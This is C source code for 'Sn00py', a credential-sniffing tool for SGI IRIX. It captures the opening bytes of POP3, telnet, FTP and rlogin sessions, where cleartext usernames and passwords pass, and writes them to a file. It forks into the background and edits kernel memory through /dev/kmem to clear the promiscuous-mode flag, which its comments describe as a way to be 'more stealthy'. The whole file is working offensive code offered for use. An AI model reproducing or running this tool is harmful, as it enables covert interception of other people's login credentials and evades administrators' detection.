

/*----------------------------------------------------*/
/*                 S n 0 0 p y . c                    */
/*                ------------------                  */
/*    A quick and dirty packet sniffer for SGI IRIX   */
/*   -----------------------------------------------  */
/* This was written due to the lack of lightweight,   */
/* good sniffers for my favorite OS, IRIX. The manual */
/* pages for snoop(7M) give half the code for this -  */
/* great documentation.                               */
/*                                                    */
/* Earlier version set off the IFF_PROMISC flag. Due  */
/* to public demand, and Phrack #53, I decided to add */
/* in the small 'depromiscuator' function, to clear   */
/* that troublesome bit (greets, apk =)               */
/*                                                    */
/* To compile: cc with -lelf, and -DIRIX64 -64 if you */
/*             are using the 64 bit versions.         */
/*             if you're on IRIX 5.3, use -lmld       */
/* To run: setenv 'interface' to the interface name.  */
/*         otherwise it'll attempt to bind to main.   */
/*                                                    */
/* To comment/flame: /\/\orpheus (n00ne@hotmail.com)  */
/*----------------------------------------------------*/

/* #Include's : I found that the order actually makes a difference.. */
/*              (on some systems) so you'd better leave this as is.. */

#include <sgidefs.h>
#include <stdlib.h>
#include <fcntl.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdio.h>
#include <sys/types.h>
#include <net/raw.h>
#include <netinet/if_ether.h>
#include <nlist.h>

/* #define's */

/* The following three are needed for depromiscuate */
#define PATH_VMUNIX "/unix"
#define N_IFNET 0
#define PATH_KMEM "/dev/kmem"

#define ETHERHDRPAD     RAW_HDRPAD(sizeof(struct ether_header))
#define TRUE		1
#define	FALSE		0
#define MAX_PACKETS	500
#define MAX_DATA	2048 /* in bytes */



/* Promiscuous mode handling code - inspired from Phrack 53 */
/* Greets, apk =)                                           */

#ifdef IRIX64
#define NLIST nlist64
#define LSEEK lseek64
#else
#define NLIST nlist
#define LSEEK lseek
#endif



int kread(int fd, off_t addr, void *buf, int len)
{
  int c;

  if (LSEEK(fd, (off_t)addr, SEEK_SET) == -1)
    return (-1);
  if ((c = read(fd, buf, len)) != len)
    return (-1);
  return c;
}


int kwrite(int fd, off_t addr, void *buf, int len)
 {
  int c;

  if (LSEEK(fd, (off_t)addr, SEEK_SET) == -1)
    return (-1);
  if ((c = write(fd, buf, len)) != len)
    return (-1);
  return c;
}

int 	depromiscuate (char 	*interface ) 
{

	/* Most of this is from Phrack 53 - Greets where Greets due */

    struct ifnet ifn, *ifp;
    char ifname[IFNAMSIZ], *cp;
	
    int fd, unit;

    struct NLIST nl[] = 
	{     
          { "ifnet" },

          { "" }
         };




   /* Separate # from name... */

   cp = strpbrk(interface, "1234567890");
   unit = strtol(cp, NULL, 10);
   *cp = 0;

  if (NLIST(PATH_VMUNIX, nl) == -1)
    return(FALSE);

  if (nl[N_IFNET].n_type == 0)
    return(FALSE);


  if ((fd = open(PATH_KMEM, O_RDWR)) == -1) 
    return(FALSE);

  if (kread(fd, nl[N_IFNET].n_value, &ifp, sizeof(ifp)) == -1) 
  
    return(FALSE);


  /* Loop over all interfaces, till we find ours */
  /* If interface wasn't set, just clear 'em all */

  for (; ifp; ifp = ifn.if_next) 
  {
    if (kread(fd, (u_long)ifp, &ifn, sizeof(ifn)) == -1) 
      return(FALSE);
    
    if (kread(fd, (u_long)ifn.if_name, ifname, sizeof(ifname)) == -1) 
      return(FALSE);

  /* If that's our interface.... */
  if ((!interface) || (interface &&  (strcmp(interface, ifname) == 0) &&
	(unit == ifn.if_unit)))
	 {
	  printf ("Clearing Promisc flag\n");
   	  ifn.if_flags &= ~IFF_PROMISC;
   	  if (kwrite(fd, (u_long)ifp, &ifn, sizeof(ifn)) == -1)
       	  return (FALSE);
	}
   } /* End for... */

   return (TRUE);
}
char	*resolvehost (struct in_addr	ip_addr)
{
	register	struct hostent *he;

	he = gethostbyaddr ( (char *)  &ip_addr.s_addr,
			      sizeof(struct in_addr),
			      AF_INET);

	return ( (he)?
		 (he->h_name) :
		 (inet_ntoa(ip_addr))
	       );


}

int	filter  (char *Packet, 
		 int  Packet_Size,
		 struct in_addr	IP_Addr1,
		 int		Port1,
		 struct in_addr IP_Addr2,
		 int		Port2)
{

	/*	IP Packet Filtering Procedure		 */
	/*	-----------------------------		 */
	/* returns TRUE if Packet is from IP_Addr1:Port1 */
	/* IP_Addr2:Port2, or vice versa..		 */
	
	/* if you need any more ports monitored - this  */
	/* is the place to do it...                     */

	struct ip               *IP_Header;
        struct tcphdr           *TCP_Header;

	if ( (Packet[0] != 0x45) ||
	     (Packet[9] != 0x06)
	    )
	      /* This ain't a TCP/IP packet.. */
		return (FALSE);



        IP_Header = (struct ip *) Packet;
	TCP_Header = (struct tcphdr *) (Packet +
			 4 * IP_Header->ip_hl);

	if  (
	     ((memcmp (&IP_Header->ip_src, &IP_Addr1, 4) == 0) &&
	      (memcmp (&IP_Header->ip_dst, &IP_Addr2, 4) == 0) &&
	      (TCP_Header->th_sport == Port1) &&
	      (TCP_Header->th_dport == Port2)
	     )
/*
	   ||
	     ((memcmp (&IP_Header->ip_src, &IP_Addr2, 4) == 0) &&
	      (memcmp (&IP_Header->ip_dst, &IP_Addr1, 4) == 0) &&
	      (TCP_Header->th_sport == Port2) &&
	      (TCP_Header->th_dport == Port1)
	     )
 */            )
	{  return (TRUE);}
	else
	 return (FALSE);


}
int main (int argc, char **argv)
{

  struct etherpacket {
                struct snoopheader      snoop;
                char                    pad[ETHERHDRPAD];
                struct ether_header     ether;
                char                    data[ETHERMTU];
        }  ;
  struct snoopfilter {
                u_long  sf_mask[SNOOP_FILTERLEN];
                u_long  sf_match[SNOOP_FILTERLEN];
                u_short sf_allocated:1,
                        sf_active:1,
                        sf_promisc:1,
                        sf_allmulti:1,
                        sf_index:SNOOP_MAXFILTSHIFT;
                u_short sf_port;
        } ;


    	int i, j, k;		/* Counters... */
	int bytes_read;		/* data count  */
	int cc = 60000, on = 1;
   	int s;			/* Our Snoop Socket... */

	char	*interface;     /* Gets the interface env. var, if set */

        struct sockaddr_raw     sr;
	struct etherpacket 	ep,ep1;
	struct snoopfilter	sf;

	struct ip		*IP_Header, *IP_Header1;	/* Headers for overlaying */
	struct tcphdr		*TCP_Header, *TCP_Header1;      /* on data buffers....    */

#define TCP_FLAGS_ARE_SET(flags) (TCP_Header->th_flags & (flags))
	
	short int	Source_Port, Dest_Port;
	char	*Source_Addr, *Destination_Addr;
	
	char	*output_filename;

	FILE 	*output;

	output_filename = strdup("OUT");


	if (geteuid () != 0)
	{
	  printf ("Error - You must be root to run this\n");
	  exit(-1);
	}



	/* Create the Snoop Socket.... */
        s = socket(PF_RAW, SOCK_RAW, RAWPROTO_SNOOP);
        if (s < 0)
	  {
	    perror ("Error - Unable to open socket");
	    exit(-1);
 	}

	/* Ready output file.... */

	if ((output = fopen(output_filename, "wb")) == NULL)
	  {
	    printf ("Error - Unable to open output file %s\n", output_filename);
	    exit(-1);
	  }

	sr.sr_family = AF_RAW;
        sr.sr_port = 0;

	/* Get the interface name (e.g. ec0, ef0, etc.) from an environment */
	/* variable. Else, if not set, we'll attempt to bind to the primary */
	/* interface...                                                     */

	interface = getenv ("interface");
	if (!interface)
	    /* attempt to bind to primary interface ... */

	    memset(sr.sr_ifname, 0, sizeof sr.sr_ifname);
	
         else
           strncpy(sr.sr_ifname, interface, sizeof sr.sr_ifname);
        
         if (bind(s, &sr, sizeof sr)  < 0)
	  {
	    perror ("Error - Unable to Bind Socket");
	    exit(1);

	   }
        
	/* Kewl. We're bound. Next, initialize a generic filter, to match all */
	/* packets, and add to the interface's filter set...                  */

        bzero((char *) &sf, sizeof sf);
        ioctl(s, SIOCADDSNOOP, &sf);


/*    Increase the socket's receive buffer size to a generous upper bound, */
/* to cope with promiscuous reception of heavy traffic.  Turn snooping on, */ 
/* read captured packets..                                                 */
/* (yup.. right from the SGI Man..)                                        */

        setsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *) &cc, sizeof cc);
        ioctl(s, SIOCSNOOPING, &on);

       /* If we got here ok - fork. We'll want to be a bg process anyhow */

	/* Clear the promiscuous bit from the interface, to */
	/* be somewhat more stealthy.. (Added 4/18/99)      */

	 if (! depromiscuate (interface))
		printf ("******** RUNNING IN PROMISCUOUS MODE ********* \n");

         if (fork())
                exit(0);;
  
        for (;;) 
	 {
                cc = read(s, (char *) &ep, sizeof ep);

		/* ep.data now holds the packet, minus the ethernet header */
		if ((cc > sizeof (struct ip)) &&
	     	    (ep.data[0] == 0x45) &&
		    (ep.data[9] == 0x06))
		{ 
		  /* 0x45 = IPv4, and length = 5. So this is a pretty much  */
		  /* unique Identifier for our purposes... 0x06 = TCP       */
		  /* Since we checked the header len, we can safely overlay */
		  /* the struct ip on the data buffer....                   */
	       
		  IP_Header = (struct ip *) ep.data;

		  Source_Addr = strdup (resolvehost(IP_Header->ip_src));
		  Destination_Addr = strdup (resolvehost(IP_Header->ip_dst));
	

		/* Now - carefully overlay the TCP header , right after */
		/* the IP header - that is, at an offset of ip_hl WORDS */
		/* from the beginning (hence the x4).                   */ 

		  TCP_Header = (struct tcphdr *) (ep.data  + 
						  4 * IP_Header->ip_hl);
	

		 /* Now - we're only interested in logging the first  few   */
		 /* bytes of each session (hey - we can't log EVERYTHING..) */
		 /* so - check for handshakes (see if SYN flag is up...)    */
		 /* and log FTP, telnet, rlogin, and pop...                 */

		
		   if ((TCP_FLAGS_ARE_SET(TH_SYN)) &&
			((TCP_Header->th_dport == 110) ||
			 (TCP_Header->th_dport == 23) ||
			 (TCP_Header->th_dport == 21) ||
			 (TCP_Header->th_dport == 513)
		        )
		      )
		   {
 
	  	      fprintf (output,
                          "Connection :%s(%d) -> %s(%d)\n",
                           Source_Addr,  TCP_Header->th_sport,
                           Destination_Addr, TCP_Header->th_dport);

 
		    /* Read On */

		    bytes_read = 0;
		    cc = read(s, (char *) &ep1, sizeof ep1);
		    for (j=0;
			 (j < MAX_PACKETS) && (bytes_read < MAX_DATA) ;
			  )
		     {
			if (filter(ep1.data, cc,
				   IP_Header->ip_src, TCP_Header->th_sport,
			 	   IP_Header->ip_dst, TCP_Header->th_dport)
			  )
	 	       {

			 IP_Header1 = (struct ip *) ep1.data;
			 TCP_Header1 = (struct tcphdr *) (ep1.data +
				                   4 * IP_Header1->ip_hl);
			
			 
			  
			 if (TCP_Header1->th_flags & (TH_RST | TH_FIN))
			 {
			     fprintf(output,"\n\nSession Ended with FIN/RST\n");
			     j = MAX_PACKETS;
		          }
		         else
			  {
			   for (k= 4 * ( IP_Header1->ip_hl +
				  TCP_Header1->th_off);
			       k < IP_Header1->ip_len;
			        k++)
				fputc(ep1.data[k], output);
			     
			    bytes_read +=
				   IP_Header1->ip_len -
				   (4 * ( IP_Header1->ip_hl + TCP_Header1->th_off));
			 }	
			    /* In any case, inc. packet count... */
		  	    j++; 
			}	
                	cc = read(s, (char *) &ep1, sizeof ep1);

		     } /* End for j= ..... */

			fprintf (output,"\nTotal bytes snagged: %d\n", bytes_read);
			fflush(output); 

		  } /* End if TCP_FLAGS_ARE_SET */

		} /* end if */
		
               
       	} /* end for (;;) */
}
